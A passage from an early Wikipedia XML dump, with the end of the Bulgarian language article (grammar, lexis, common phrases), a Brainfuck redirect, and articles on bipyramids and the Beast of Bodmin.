(&lt;u&gt;кръв&lt;/u&gt; “blood”, &lt;u&gt;кост&lt;/u&gt; “bone”, &lt;u&gt;вечер&lt;/u&gt; “evening”). Nouns ending in '''–е''', '''–о''' are almost exclusively '''neuter''' (&lt;u&gt;дете&lt;/u&gt; “child”, &lt;u&gt;езеро&lt;/u&gt; “lake”). The same regards a limited number of loan words ending in '''–и''', '''–у''', and '''–ю''' (&lt;u&gt;цунами&lt;/u&gt; &quot;tsunami&quot;, &lt;u&gt;табу&lt;/u&gt; &quot;taboo&quot;, &lt;u&gt;меню&lt;/u&gt; &quot;menu&quot;). Plural nouns do not have gender.

=====Number=====
Two numbers are distinguished in Bulgarian — '''[[singular]]''' and '''[[plural]]'''. The most typical plural ending for feminine nouns is '''–и''', which is appended to the word upon dropping the singular ending '''–а/–я'''. Plural forms of neutral and masculine nouns use a variety of suffixes, the most typical of which are '''–а''', '''–я''' (both require dropping of the singular endings  '''–е'''/'''–о''') and '''–та''' for neutral nouns and '''–е''', '''–и''' and '''–ове''' for masculine nouns. Exceptions, irregular declension and alternative plural forms are, however, very common for all three genders.

Masculine nouns use a separate count form with [[cardinal number]]s, which stems from the proto-Slavonic '''[[dual grammatical number|dual]]''': &lt;u&gt;двама/трима ученика&lt;/u&gt; (two/three students) versus &lt;u&gt;тези ученици&lt;/u&gt; (these students); cf. feminine &lt;u&gt;две/три/тези жени&lt;/u&gt; (two/three/these women) and neuter &lt;u&gt;две/три/тези деца&lt;/u&gt; (two/three/these children). However, a recently developed language norm requires that count forms should only be used with masculine nouns that do not denote persons. Thus, &lt;u&gt;двама/трима ученици&lt;/u&gt; is perceived as more correct than &lt;u&gt;двама/трима ученика&lt;/u&gt;, while the distinction is retained in cases such as &lt;u&gt;два/три молива&lt;/u&gt; (two/three pencils) versus &lt;u&gt;тези моливи&lt;/u&gt; (these pencils).

=====Case=====
The complex proto-Slavonic case system is almost completely dissolved in modern Bulgarian. Vestiges are well preserved only in the [[personal pronoun]]s and the masculine personal interrogative pronoun &lt;u&gt;кой&lt;/u&gt; (“who”), which have '''[[nominative]]''', '''[[accusative case|accusative]]''' and '''[[dative]]''' forms. '''[[Vocative]]''' forms are still in use for masculine and feminine nouns (however, not for neuter ones), but endings in masculine nouns are determined solely according to the stem-final consonant of the noun. In all other cases, except for a number of phraseological units and sayings, the proto-Slavonic case system has been replaced by prepositional and other syntactic constructions.

=====Definiteness (article)=====
The disappearance of the case declension might be connected with the development of the category of definiteness in Bulgarian. The postfixed definite article, which displaced Slavic case inflexions, may have been inherited from Old Bulgar and then spread to other Balkan languages such as Albanian and Romanian. In modern Bulgarian, definiteness is expressed by a '''[[definite article]]''' which is postfixed to the noun (indefinite: &lt;u&gt;човек&lt;/u&gt;, “man”; definite: &lt;u&gt;човек'''ът'''&lt;/u&gt;, “'''the''' man”) or the first nominal constituent of definite noun phrases (indefinite: &lt;u&gt;добър човек&lt;/u&gt;, “a good man”; definite: &lt;u&gt;добри'''ят''' човек&lt;/u&gt;, “'''the''' good man”), much like in the [[Scandinavian languages]] or [[Romanian language|Romanian]]. There are four singular definite articles: '''–ът'''/'''–ят''' for masculine nouns that are grammatical subjects, '''–а'''/'''–я''' for masculine nouns that are grammatical objects, '''–та''' for feminine nouns, and '''–то''' for neuter nouns. The two masculine definite articles may also be considered as two grammatical forms of the same article.
The plural definite articles are '''–те''' for masculine and feminine nouns, and '''–тa''' for neuter nouns. When postfixed to adjectives the definite articles are '''–ят'''/'''–я''' for masculine, '''–та''' for feminine, '''–то''' for neuter, and '''–те''' for plural nouns.

====Adjective and numeral inflection====
Both groups agree in gender and number with the noun they are appended to. They may also take up the definite article as explained above.

====Pronouns====
Pronouns may vary in gender, number, definiteness and are the only parts of speech that have retained case inflexions. Three cases are exhibited by some groups of pronouns, nominative, accusative and dative, although dative is often substituted by accusative constructions. The distinguishable types of pronouns include the following: personal, relative, reflexive, interrogative, negative, indefinitive, summative and possessive.

====Adverbs====
The most [[Productivity (linguistics)|productive]] way to form adverbs is to derive them from the neuter singular form of the corresponding adjective (&lt;u&gt;бързо&lt;/u&gt; (fast), &lt;u&gt;силно&lt;/u&gt; (hard), &lt;u&gt;странно&lt;/u&gt; (strangely)), although adjectives ending in &lt;u&gt;-ки&lt;/u&gt; use the masculine singular form, also in &lt;u&gt;-ки&lt;/u&gt;, instead: &lt;u&gt;юнашки&lt;/u&gt; (heroically), &lt;u&gt;мъжки&lt;/u&gt; (bravely, like a man), &lt;u&gt;майсторски&lt;/u&gt; (skilfully): &lt;u&gt;юнашки&lt;/u&gt; (heroically), &lt;u&gt;мъжки&lt;/u&gt; (bravely, like a man), &lt;u&gt;майсторски&lt;/u&gt; (skilfully). The same pattern is used to form adverbs from the (adjective-like) ordinal numerals, e.g. &lt;u&gt;първо&lt;/u&gt; (firstly), &lt;u&gt;второ&lt;/u&gt; (secondly), &lt;u&gt;трето&lt;/u&gt; (thirdly), and in some cases from (adjective-like) cardinal numerals, e.g. &lt;u&gt;двойно&lt;/u&gt; (twice as/double), &lt;u&gt;тройно&lt;/u&gt; (three times as), &lt;u&gt;петорно&lt;/u&gt; (five times as).

The remaining adverbs are formed in ways that are no longer productive in the language. A small number are original (not derived from other words), for example: &lt;u&gt;тук&lt;/u&gt; (here), &lt;u&gt;там&lt;/u&gt; (there), &lt;u&gt;вътре&lt;/u&gt; (inside), &lt;u&gt;вън&lt;/u&gt; (outside), &lt;u&gt;много&lt;/u&gt; (very/much) etc. The rest are mostly fossilized declined forms, such as:
* archaic unchangeable locative forms of some adjectives, e.g. &lt;u&gt;добре&lt;/u&gt; (well), &lt;u&gt;зле&lt;/u&gt; (badly), &lt;u&gt;твърде&lt;/u&gt; (too, rather), and nouns &lt;u&gt;горе&lt;/u&gt; (up), &lt;u&gt;утре&lt;/u&gt; (tomorrow), &lt;u&gt;лете&lt;/u&gt; (in the summer);
* archaic unchangeable instrumental forms of some adjectives, e.g. &lt;u&gt;тихом&lt;/u&gt; (quietly), &lt;u&gt;скришом&lt;/u&gt; (furtively), &lt;u&gt;слепешком&lt;/u&gt; (blindly), and nouns, e.g. &lt;u&gt;денем&lt;/u&gt; (during the day), &lt;u&gt;нощем&lt;/u&gt; (during the night), &lt;u&gt;редом&lt;/u&gt; (one next to the other), &lt;u&gt;духом&lt;/u&gt; (spiritually), &lt;u&gt;цифром&lt;/u&gt; (in figures), &lt;u&gt;словом&lt;/u&gt; (with words). The same pattern has been used with verbs: &lt;u&gt;тичешком&lt;/u&gt; (while running), &lt;u&gt;лежешком&lt;/u&gt; (while lying), &lt;u&gt;стоешком&lt;/u&gt; (while standing).
* archaic unchangeable accusative forms of some nouns: &lt;u&gt;днес&lt;/u&gt; (today), &lt;u&gt;сутрин&lt;/u&gt; (in the morning), &lt;u&gt;зимъс&lt;/u&gt; (in winter);
* archaic unchangeable genitive forms of some nouns: &lt;u&gt;довечера&lt;/u&gt; (tonight), &lt;u&gt;снощи&lt;/u&gt; (last night), &lt;u&gt;вчера&lt;/u&gt; (yesterday);
* homonymous and etymologically identical to the feminine singular form of the corresponding adjective used with the definite article: &lt;u&gt;здравата&lt;/u&gt; (hard), &lt;u&gt;слепешката&lt;/u&gt; (gropingly); the same pattern has been applied to some verbs, e.g. &lt;u&gt;тичешката&lt;/u&gt; (while running), &lt;u&gt;лежешката&lt;/u&gt; (while lying), &lt;u&gt;стоешката&lt;/u&gt; (while standing).
* derived from cardinal numerals by means of a non-productive suffix: &lt;u&gt;веднъж&lt;/u&gt; (once), &lt;u&gt;дваж&lt;/u&gt; (twice), &lt;u&gt;триж&lt;/u&gt; (thrice);

All the adverbs are immutable. Verb forms, however, vary in aspect, mood, tense, person, number and sometimes gender and voice.

===Verbal morphology and grammar===

====Finite verbal forms====
Finite verbal forms are '''simple''' or '''compound''' and agree with subjects in '''person''' (first, second and third) and '''number''' (singular, plural) in Bulgarian. In addition to that, past compound forms using participles vary in '''gender''' (masculine, feminine, neuter) and '''voice''' (active and passive) as well as aspect (perfective/aorist and imperfective).

=====Aspect=====
Bulgarian verbs express '''[[lexical aspect]]''': perfective verbs signify the completion of the action of the verb and form past aorist tenses; imperfective ones are neutral with regard to it and form past imperfect tenses. Most Bulgarian verbs can be grouped in perfective-imperfective pairs ('''imperfective'''&lt;&gt;'''perfective''': &lt;u&gt;идвам&lt;/u&gt;&lt;&gt;&lt;u&gt;дойда&lt;/u&gt; “come”, &lt;u&gt;пристигам&lt;/u&gt;&lt;&gt;&lt;u&gt;пристигна&lt;/u&gt; “arrive”). Perfective verbs can be usually formed from imperfective ones by suffixation or prefixation, but the resultant verb often deviates in meaning from the original. In the pair examples above, aspect is stem-specific and therefore there is no difference in meaning.

In Bulgarian, there is also '''[[grammatical aspect]]'''. Three grammatical aspects are distinguishable: neutral, perfect and pluperfect. The neutral aspect comprises the three simple tenses and the future tense. The pluperfect aspect is manifest in tenses that use double or triple auxiliary &quot;be&quot; participles like the past pluperfect subjunctive. Perfect tenses use a single auxiliary &quot;be&quot;.

=====Mood=====
In addition to the four moods (&lt;u&gt;наклонения&lt;/u&gt;) shared by most other European languages - '''[[indicative mood|indicative]]''' (&lt;u&gt;изявително&lt;/u&gt;), '''[[imperative mood|imperative]]''' (&lt;u&gt;повелително&lt;/u&gt;), '''[[subjunctive mood|subjunctive]]''' (&lt;u&gt;подчинително&lt;/u&gt;) and '''[[conditional mood|conditional]]''' (&lt;u&gt;условно&lt;/u&gt;) - in Bulgarian there is one more to describe past unwitnessed events - the '''[[renarrative mood|renarrative]]''' (&lt;u&gt;преизказно&lt;/u&gt;) mood.

=====Tense=====
There are three grammatically distinctive positions in time — present, past and future — which combine with aspect and mood to produce a number of formations. Normally, in grammar books these formations are viewed as separate tenses — i. e. &quot;past imperfect tense&quot; would mean that the verb is in past tense, in the imperfective aspect, and in the indicative mood (since no other mood is shown). There are more than 30 different tenses across Bulgarian's two aspects and five moods.

In the '''indicative mood''', there are three '''simple tenses''':
*'''present tense''' is a temporally unmarked simple form made up of the verbal stem of and a complex suffix composed of the vowel /e/, /i/ or /a/ and the person/number ending (&lt;u&gt;пристигам&lt;/u&gt; &quot;I arrive/I am arriving&quot;); only imperfective verbs can stand in the present indicative tense independently;

*'''past imperfect tense''' is a simple verb form used to express an action which is contemporaneous or subordinate to other past actions; it is made up of an imperfective verbal stem and the person/number ending (&lt;u&gt;пристигаx&lt;/u&gt; &quot;I was arriving&quot;);

*'''past aorist tense''' is a simple form used to express a temporarily independent, specific past action; it is made up of a perfective verbal stem and the person/number ending (&lt;u&gt;пристигнах&lt;/u&gt; &quot;I arrived&quot;);

In the '''indicative''' there are also the following '''compound tenses''':
*'''future tense''' is a compound form made of the particle &lt;u&gt;ще&lt;/u&gt; and present tense (&lt;u&gt;ще уча&lt;/u&gt; &quot;I will study&quot;); negation is expressed by the construction &lt;u&gt;няма да&lt;/u&gt; and present tense (&lt;u&gt;няма да уча&lt;/u&gt; &quot;I will not study&quot;);

*'''past future tense''' is a compound form used to express an action which was to be completed in the past but was future as regards another past action; it is made up of the past imperfect tense of the verb &lt;u&gt;ща&lt;/u&gt; &quot;will, want&quot;, the particle &lt;u&gt;да&lt;/u&gt; &quot;to&quot; and the present tense of the verb (&lt;u&gt;щях да уча&lt;/u&gt; &quot;I was going to study&quot;);

*'''present perfect tense''' is a compound form used to express an action which was completed in the past but is relevant for or related to the present; it is made up of the present tense of the verb &lt;u&gt;съм&lt;/u&gt; &quot;be&quot; and the past participle (&lt;u&gt;съм учил&lt;/u&gt; &quot;I have studied&quot;);

*'''past perfect tense''' is a compound form used to express an action which was completed in the past and is relative to another past action; it is made up of the past tense of the verb &lt;u&gt;съм&lt;/u&gt; &quot;be&quot; and the past participle (&lt;u&gt;бях учил&lt;/u&gt; &quot;I had studied&quot;);

*'''future perfect tense''' is a compound form used to express an action which is to take place in the future before another future action; it is made up of the future tense of the verb &lt;u&gt;съм&lt;/u&gt; &quot;be&quot; and the past participle (&lt;u&gt;ще съм учил&lt;/u&gt; &quot;I will have studied&quot;);

*'''past future perfect tense''' is a compound form used to express a past action which is future with respect to a past action which itself is prior to another past action; it is made up of the past future of &lt;u&gt;ща&lt;/u&gt; &quot;will, want&quot;, the particle &lt;u&gt;да&lt;/u&gt; &quot;to&quot;, the present tense of the verb &lt;u&gt;съм&lt;/u&gt; &quot;be&quot; and the past participle of the verb (&lt;u&gt;щях да съм учил&lt;/u&gt; &quot;I would have studied&quot;).

The four perfect tenses above can all vary in aspect depending on the aspect of the main-verb participle; they are in fact pairs of imperfective and perfective tenses. Verbs in tenses using past participles also vary in voice and gender.

There is only one simple tense in the '''[[imperative mood]]''' - the '''present''' - and there are simple forms only for the second person using the suffixes '''-и'''/'''-й''' for singular and '''-ете'''/'''-йте''' for plural; e.g., &lt;u&gt;уча&lt;/u&gt; &quot;to study&quot;: &lt;u&gt;уч'''и'''&lt;/u&gt;, sg., &lt;u&gt;уч'''ете'''&lt;/u&gt;, pl.; играя &quot;to play&quot;: &lt;u&gt;игра'''й'''&lt;/u&gt;, &lt;u&gt;игра'''йте'''&lt;/u&gt;. There are compound imperative forms for all persons and numbers in the '''present compound imperative''' (&lt;u&gt;да играе&lt;u&gt;) and the '''present perfect compound imperative''' (&lt;u&gt;да е играл&lt;u&gt;).

The '''[[conditional mood]]''' consists of five compound tenses, most of which are not grammatically distinguishable. The present, future and past conditional use a special past form of the stem &lt;u&gt;би-&lt;/u&gt; (“be”) and the past participle (&lt;u&gt;бих учил&lt;/u&gt;, “I would study”). The past future conditional and the past future perfect conditional coincide in form with the respective indicative tenses.

The '''[[subjunctive mood]]''' is rarely documented as a separate verb form in Bulgarian but nevertheless it is used regularly. The most common form, often mistaken for the present tense, is the '''present subjunctive''' (&lt;u&gt;(пo-добре) да отидa&lt;u&gt; &quot;I had better go&quot;). The difference between the present indicative and the present subjunctive tense is that the subjunctive can be formed by ''both'' perfective and imperfective verbs. It has completely replaced the infinitive and the supine from complex expressions (see below). It is also employed to express opinion about ''possible'' future events. The '''past perfect subjunctive''' (&lt;u&gt;(пo-добре) да бях отишъл&lt;u&gt;, &quot;I had better gone&quot;) refers to ''possible'' events in the past, which ''did not'' take place, and the '''present pluperfect subjunctive''' (&lt;u&gt;да съм бил отишъл&lt;u&gt;), which may be used about both past and future events arousing feelings of incontinence, suspicion, etc. and is impossible to translate in English. The '''past pluperfect subjunctive''' is by far the strangest form (&lt;u&gt;бил съм бил отишъл&lt;u&gt;) and the reason why the subjunctive in Bulgarian is sometimes also called the '''[[dubitative mood|dubitative]]'''.

The '''[[renarrative mood]]''' has five tenses. Two of them are simple - '''past aorist renarrative''' and '''past imperfect renarrative''' - and are formed by the '''past participles''' of perfective and imperfective verbs, respectively. There are also three compound tenses - '''past future renarrative''', '''past future perfect renarrative''' and '''past perfect renarrative'''. All these tenses' forms are gender-specific in the singular and exist only in the third person.

====Non-finite verbal forms====
The proto-Slavonic '''[[infinitive]]''' and '''[[supine]]''' have been replaced by phrases with &lt;u&gt;да&lt;/u&gt; (“to”) and present subjunctive tense (&lt;u&gt;искам да уча&lt;/u&gt;, “I want to study”).

Bulgarian has the following '''[[participle]]s''':

*the '''present active participle''' (&lt;u&gt;сегашно деятелно причастие&lt;u&gt;) is formed from imperfective stems with the addition of the suffixes '''–ащ'''/'''–ещ'''/'''–ящ''' (&lt;u&gt;укрив'''ащ'''&lt;/u&gt;, “concealing”) and is used only attributively;
*the '''present passive participle''' (&lt;u&gt;сегашно страдателно причастие&lt;u&gt;) is formed by the addition of the suffix '''-н''' to imperfective stems (&lt;u&gt;укрива'''н'''&lt;/u&gt;, “(being) concealed”);
*the '''past active aorist participle''' (&lt;u&gt;минало свършено деятелно причастие&lt;u&gt;) is formed by the addition of the suffix '''–л–''' to perfective stems (&lt;u&gt;укри'''л'''&lt;/u&gt;, “concealed”);
*the '''past active imperfect participle''' (&lt;u&gt;минало несвършено деятелно причастие&lt;u&gt;) is formed by the addition of the suffixes '''–ел'''/'''–ал'''/'''–ял''' to imperfective stems (&lt;u&gt;укрив'''ал'''&lt;/u&gt;, “(been) concealing”); it is used only in renarrative (renarrated) mood and is a Bulgarian innovation;
*the '''past passive participle''' (&lt;u&gt;минало страдателно причастие&lt;u&gt;)  is formed from aorist stems with the addition of the suffixes '''–(е)н–'''/'''–т–''' (&lt;u&gt;укр'''ит'''&lt;u&gt;, &quot;(been) concealed&quot;); it is used predicatively and attributively;
*the '''[[adverbial participle]]''' (&lt;u&gt;деепричастие&lt;u&gt;) is formed from imperfective present stems with the suffix '''–(е)йки'''  (&lt;u&gt;укрива'''йки'''&lt;/u&gt;, “while concealing”), relates an action contemporaneous with and subordinate to the main verb and is originally a Western Bulgarian form.

== Lexis ==
{{main|Bulgarian lexis}}

Most of the word-stock of modern Bulgarian consists of derivations of some 2,000 words inherited from proto-Slavonic through the mediation of Old and Middle Bulgarian. The influence of the old [[Bolgar language]] is relatively insignificant, and a negligible number of words of presumably Bulgar origin have survived in Modern Bulgarian (20 at best according to most estimates, though some scholars will have that number increased up to 200). Thus, the native lexical terms in Bulgarian (both from proto-Slavonic and from the Bulgar language) account for 70% to 75% of the lexicon.

The remaining 25% to 30% are loanwords from a number of languages, as well as derivations of such words. The languages which have contributed most to Bulgarian are [[Latin]] and [[Greek language|Greek]] (mostly international terminology), and to a lesser extent [[French language|French]] and [[Russian language|Russian]]. The numerous loanwords from [[Turkish language|Turkish]] (and, via Turkish, from [[Arabic language|Arabic]] and [[Persian language|Persian]]) which were adopted into Bulgarian during the long period of [[Ottoman empire|Ottoman]] rule have, to a great extent, been substituted with native terms or borrowings from other languages. As in much of the rest of the world, [[English language|English]] has had the greatest influence over Bulgarian over recent decades.

==Syntax==

Colloquial Bulgarian employs [[clitic doubling]], mostly for emphatic purposes. For example:

:Аз го дадох подаръка на майка ми
: (lit. &quot;I gave ''it'' the present to my mother&quot;)

:Аз й го дадох подаръка на майка ми
: (lit. &quot;I gave ''her it'' the present to my mother&quot;)

The phenomenon is practically obligatory in the case of inversion signalling information structure:

:Подаръка (й) го дадох на майка ми
: (lit. &quot;The present (to her) ''it'' I-gave to my mother&quot;)

:На майка ми й (го) дадох подаръка
: (lit. &quot;To my mother ''to her'' (it) I-gave the present&quot;).

In a formal context, however, no clitic doubling is allowed. Bulgarian grammars usually do not treat this phenomenon extensively.

{{sect-stub}}

== Common Bulgarian expressions ==
*Здравей (zdravéi) — Hello
*Здрасти (zdrásti) — Hi
*Добро утро (dobró útro) — Good morning
*Добър ден (dóbər dén) — Good day
*Добър вечер (dóbər vécher) — Good evening
*Лека нощ (léka nósht) — Good night
*Довиждане (dovízhdane) — Good-bye
*Чао (chao) ''(informal)'' - Bye
*Как си? (kák si) ''(informal)'' — How are you? 
*Как сте? (kák sté) ''(formal, and also plural form)'' - How are you?
*Да (dá) - Yes
*Не (né) - No
*Може би (mózhé bí) - Maybe
*Какво правиш? (kakvó právish) ''(informal)'' — What are you doing?
*Какво правите? (kakvó právite) ''(formal, and also plural form)'' - What are you doing?
*Добре съм (dobré səm) — I’m fine
*Всичко най-хубаво (vsíchko nai-húbavo) — All the best
*Поздрави (pózdravi) — Regards
*Благодаря (blagodaryə́) ''(formal and informal)'' — Thank you
*Мерси (mersi) ''(informal)'' - Thank you
*Моля (mólia) — Please
*Моля (mólia) — You're welcome
*Извинете! (izvinéte) ''(formal)'' — Excuse me!
*Извинявай! (izviniávai) ''(informal)'' — Sorry!
*Колко е часът? (kólko e chasə́t) — What’s the time?
*Говорите ли ...? (govórite li...) — Do you speak ...?
:...английски (anglíski) — English   
:...български (bə́lgarski) — Bulgarian   
:...китайски (kitáiski) — Chinese   
:...френски (frénski) — French   
:...немски (némski) — German   
:...гръцки (grə́tski) — Greek   
:...италиански (italiánski) — Italian   
:...японски (iapónski) — Japanese   
:...корейски (koréiski) — Korean   
:...латински (latínski) — Latin 
:...испански (ispánski) — Spanish
*Ще се видим скоро (shté sé vídim skóro) - We'll see each other soon
*Ще се видим утре (shté sé vídim útre) - We'll see each other tomorrow

== See also ==

*[[List of common phrases in various languages#Bulgarian (Slavic)|Common phrases in Bulgarian]]
*[[Romanization of Bulgarian]]
*[[Torlakian dialect]]

== References ==   
* Comrie, Bernard and Corbett, Greville G. (1993) ''The Slavonic Languages'', London and New York: Routledge ISBN 0-415-04755-2
* International Phonetic Association (1999) ''Handbook of the International Phonetic Association'' ISBN 0-521-63751-1

== External links ==
{{InterWiki|code=bg}}
{{Wikibookspar||Bulgarian}}
* [http://www.easybulgarian.com/ The Bulgarian Language Online Course — Free Samples — audio — includes Romantic Phrases]
* [http://www.sprachprofi.de.vu/english/bul.htm Free online resources for learners]
* [http://www.ethnologue.com/show_language.asp?code=BLG Ethnologue report for Bulgarian]
* [http://sa.dir.bg/ Bulgarian-English-Bulgarian dictionary] from [http://sa.dir.bg/sa.htm SA Dictionary]
* [http://www.websters-online-dictionary.org/definition/Bulgarian-english/ Bulgarian–English Dictionary]: from [http://www.websters-online-dictionary.org Webster’s Online Dictionary] — the Rosetta Edition.
* [http://webtrance.skycode.com/online.asp Online English–Bulgarian machine translation]
* [http://www.bulgaria-map.com Bulgarian Business information]

[[Category:Bulgarian language|*]]
[[Category:South Slavic languages]]
[[Category:Languages of Bulgaria]]

[[af:Bulgaars]]
[[ar:لغة بلغارية]]
[[ast:Búlgaru]]
[[bg:Български език]]
[[ca:Búlgar]]
[[cs:Bulharština]]
[[de:Bulgarische Sprache]]
[[el:Βουλγαρική γλώσσα]]
[[es:Idioma búlgaro]]
[[eo:Bulgara lingvo]]
[[fr:Bulgare]]
[[ko:불가리아어]]
[[hr:Bugarski jezik]]
[[id:Bahasa Bulgaria]]
[[it:Lingua bulgara]]
[[kw:Bulgarek]]
[[li:Bölgaars]]
[[lv:Bulgāru valoda]]
[[hu:Bolgár nyelv]]
[[mk:Бугарски јазик]]
[[nl:Bulgaars]]
[[ja:ブルガリア語]]
[[nn:Bulgarsk språk]]
[[pl:Język bułgarski]]
[[pt:Língua búlgara]]
[[ro:Limba bulgară]]
[[ru:Болгарский язык]]
[[sk:Bulharčina]]
[[sl:Bolgarščina]]
[[sr:Бугарски језик]]
[[fi:Bulgarian kieli]]
[[sv:Bulgariska]]
[[tl:Wikang Bulgaro]]
[[th:ภาษาบัลแกเรีย]]
[[tr:Bulgarca]]
[[zh:保加利亚语]]</text>
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    <title>Brainfuck programming language/Examples</title>
    <id>4151</id>
    <revision>
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      <timestamp>2003-03-08T14:04:57Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Brainfuck]]</comment>
      <text xml:space="preserve">#REDIRECT [[Brainfuck]]</text>
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    <title>Bipyramid</title>
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    <revision>
      <id>37798492</id>
      <timestamp>2006-02-02T04:55:35Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| border=&quot;1&quot; bgcolor=&quot;#ffffff&quot; cellpadding=&quot;5&quot; align=&quot;right&quot; style=&quot;margin-left:10px&quot; width=&quot;250&quot;
!bgcolor=#e7dcc3 colspan=2|Set of bipyramids
|-
|align=center colspan=2|[[Image:Triangular dipyramid.png|240px|Pentagonal bipyramid]]
|-
|bgcolor=#e7dcc3|Faces||2n [[triangle]]s
|-
|bgcolor=#e7dcc3|Edges||3n
|-
|bgcolor=#e7dcc3|Vertices||n+2
|-
|bgcolor=#e7dcc3|[[Face configuration]]||V4.4.n
|-
|bgcolor=#e7dcc3|[[Symmetry group]]||[[Symmetry_group#Three_dimensions|''D''&lt;sub&gt;''nh''&lt;/sub&gt;]]
|-
|bgcolor=#e7dcc3|[[Dual polyhedron]]||[[Prism (geometry)|Prisms]]
|-
|bgcolor=#e7dcc3|Properties||convex, semi-regular (face-uniform)
|}

[[Image:Pentagonal dipyramid.png|thumb|right|[[Pentagonal dipyramid]] '''J13''']]
[[Image:octahedron.jpg|thumb|right|Regular [[octahedron]]]]
An ''n''-agonal '''bipyramid''' or '''dipyramid''' is a [[polyhedron]] formed by joining an ''n''-agonal [[Pyramid (geometry)|pyramid]] and its [[mirror image]] base-to-base. 

The referenced n-agon in the name of the bipyramids is not an external face but a internal one, existing on the primary symmetry plane which connects the two pyramid halves.

The face-uniform bipyramids are the [[dual polyhedron|dual polyhedra]] of the [[Prism (geometry)|uniform prisms]] and will generally have [[isosceles triangle]] faces.

Three bipyramids can be made out of all [[equilateral triangle]]s, the [[octahedron]] (tetragonal bipyramid), which counts among the [[Platonic solid]]s, and the [[triangular dipyramid|triangular]] and [[pentagonal dipyramid|pentagonal]] bipyramids, which count among the [[Johnson solid]]s.

A bipyramid can be [[Perspective projection|projected]] on a sphere or [[globe]] as ''n'' equally spaced lines of [[longitude]] going from [[Geographical pole|pole]] to pole, and [[Bisection|bisected]] by a line around the [[equator]].

== Forms ==
# [[Triangular dipyramid]] - 6 faces - dual [[triangular prism]]
# ''Tetragonal dipyramid'' [[octahedron]] - 8 faces - dual [[cube]]
# [[Pentagonal dipyramid]] - 10 faces - dual [[pentagonal prism]]
# ''Hexagonal dipyramid'' - 12 faces - dual [[hexagonal prism]]
# ''Septagonal dipyramid'' - 14 faces - dual ''septagonal prism''
# ''Octagonal dipyramid'' - 16 faces - dual [[octagonal prism]]
# ''Enneagonal dipyramid'' - 18 faces - dual ''enneagonal prism''
# ''Decagonal dipyramid'' - 20 faces - dual ''decagonal prism''
* ...'''n-agonal dipyramid''' - 2n faces - dual '''n-agonal [[prism (geometry)|prism]]'''

== Symmetry groups ==
If the base is regular and the line through the apexes intersects the base at its center, the [[List of spherical symmetry groups|symmetry group]] of the ''n''-agonal bipyramid has [[dihedral symmetry]] ''D&lt;sub&gt;nh&lt;/sub&gt;'' of order 4''n'', except in the case of a regular octahedron, which has the larger [[octahedral symmetry]] group '''O&lt;sub&gt;h&lt;/sub&gt;''' of order 48, which has three versions of ''D&lt;sub&gt;4h&lt;/sub&gt;'' as subgroups.
The [[rotation group]] is ''D&lt;sub&gt;n&lt;/sub&gt;'' of order 2''n'', except in the case of a regular octahedron, which has the larger symmetry group '''O''' of order 24, which has three versions of ''D&lt;sub&gt;4&lt;/sub&gt;'' as subgroups.

==External links==
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra
** [[VRML]] models [http://www.georgehart.com/virtual-polyhedra/alphabetic-list.html (George Hart)] [http://www.georgehart.com/virtual-polyhedra/vrml/triangular_dipyramid.wrl &lt;3&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/octahedron.wrl &lt;4&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/pentagonal_dipyramid.wrl &lt;5&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/hexagonal_dipyramid.wrl &lt;6&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/heptagonal_dipyramid.wrl &lt;7&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/octagonal_dipyramid.wrl &lt;8&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/enneagonal_dipyramid.wrl &lt;9&gt;] [http://www.georgehart.com/virtual-polyhedra/vrml/decagonal_dipyramid.wrl &lt;10&gt;]

[[category:polyhedra]]
[[Category:Pyramids and bipyramids]]
{{geometry-stub}}
[[it:Bipiramide]]</text>
    </revision>
  </page>
  <page>
    <title>Beast of Bodmin</title>
    <id>4154</id>
    <revision>
      <id>25353125</id>
      <timestamp>2005-10-12T12:37:05Z</timestamp>
      <contributor>
        <ip>157.140.11.77</ip>
      </contributor>
      <text xml:space="preserve">The '''Beast of Bodmin''' is a [[Phantom cat|phantom wild cat]] (or possibly a number of them) which ranges in [[Cornwall]] in the [[United Kingdom]].  [[Bodmin Moor]] became a centre of these sightings with occasional reports of mutilated slain livestock: the alleged leopard-like cats of the same region came to be popularly and alliteratively known as the Beast of Bodmin Moor. Eventually the [[Ministry_for_Agriculture,_Fisheries_and_Food|Ministry of Agriculture, Fisheries and Food]] decided to conduct an official investigation in [[1995]]. The study's findings decided there was &quot;no verifiable evidence&quot; of exotic felines loose in Britain, and that the mauled farm animals could have been attacked by common indigenous species. The report did accept that &quot;the investigation could not prove that a 'big cat' is not present.&quot;

Less than a week after the government report, a boy  was walking by the [[River Fowey]] when he discovered a large cat skull. Measuring about four inches wide and seven inches long (10 &amp;times; 18 cm), the skull was minus its lower jaw but possessed two sharp, prominent incisors that suggested that it might have been a leopard. The story hit the national press at about the same time of the official denial of alien big cat evidence on Bodmin Moor.

The skull was sent to the [[Natural History Museum]] in [[London]] for verification. They determined that it was a genuine skull from a young male leopard, but also found that the cat had not died in Britain and that the skull had been imported as part of a leopard-skin rug. The back of the skull was cleanly cut off in a way that is commonly used to mount the head on a rug. There was an egg case inside the skull that had been laid by a tropical cockroach that could not possibly be found in Britain. There were also cut marks on the skull indicating the flesh had been scraped off with a knife, and the skull had begun to decompose only after a recent submersion in water.

Sightings of the Beast of Bodmin Moor still continue. In October 1997, officials from [[Newquay]] Zoo claimed to identify pawprints left in mud to the south of Bodmin Moor as the tracks of a [[puma]]. Soon after that discovery, an alleged photograph of the Bodmin Beast materialised, purporting to show an adult female puma. The authenticity of this piece of evidence remains unconfirmed.


==References in Popular Culture==

The Beast of Bodmin Moor was briefly mentioned in the [[cult film]] [[Dog Soldiers]].


==See also==
*[[Cryptozoology]]
*[[Beast of Exmoor]]

==External links==
* [http://www.nhm.ac.uk/nature-online/life/mammals/beast-of-bodmin-moor/ Beast of Bodmin Moor page at the Natural History Museum, London]

[[Category:Cryptids]]
[[Category:Legendary creatures]]</text>
    </revision>
  </page>
  <page>
    <title>Borda count</title>
    <id>4155</id>
